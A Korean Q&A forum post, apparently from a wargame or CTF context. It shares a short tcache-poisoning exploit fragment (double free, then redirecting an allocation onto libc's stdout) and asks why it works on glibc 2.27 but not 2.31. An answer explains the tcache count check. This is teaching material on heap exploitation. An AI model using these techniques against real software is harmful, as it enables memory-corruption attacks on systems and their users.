똑같은 코드를 이용하여 libc-2.31(로컬) libc-2.27(원격 서버)에서 테스트를 진행해보았을때, 원격은 잘되나, 로컬에서 진행할때에는 잘 되지 않습니다. 똑같은 코드이고 stdout 실제 매핑주소 오프셋도 버전별로 맞춰주었는데 27은 되고 31은 안됩니다.
# [1]Tcache Posioning
alloc(0x30, "juntheworld")
free()
edit("AAAAAAAA"+"\x00")
free()
stdout_ptr = e.symbols["stdout"]
alloc(0x30, p64(stdout_ptr))
alloc(0x30, "BBBBBBBB")
alloc(0x30, "\xa0") #stdout for libc2.27
#alloc(0x30, "\xa0") # stdout for libc-2.31
print_chunk()
조금 더 구체적으로, Double Free 이후 stdout을 가리키는 주소의 chunk를 malloc 받을때 2.31 버전은 해당 주소가 아닌 새로운 주소로 malloc을 받고 tcache의 값도 그대로 유지가 됩니다 ㅠㅠ
혹시 libc-2.31 버전에서는 tcache를 운영하는 방식이 변경되었나요?
(힙영역이 아닌 영역의 주소가 tcache에 들어있다면, 이를 할당하지 않고 새롭게 할당 등등..)
혹시 그렇다면 관련된 내용은 어떻게 찾아볼 수 있을까요..!!
아래는 자세한 내용입니다.
https://www.notion.so/libc-2-31-libc-2-27-5b4ac8da4a984f52aa50d612c5c3c76d
glibc 2.27이후에는 tcache의 chunk를 count하는 변수가 추가되어서 해당 count변수가 0일경우에는 tcache에 chunk가 없다고 간주하고 tcache를 참조하지 않습니다. count는 chunk가 해제되어서 tcache bin에 들어가면 해당 bin의 count가 1증가하고 반대로 malloc과 같은 함수를 통해서 bin에서 사라지면 다시 1감소하는 식입니다. 따라서 높은 버전에서는 chunk count를 고려해서 exploit을 하셔야합니다.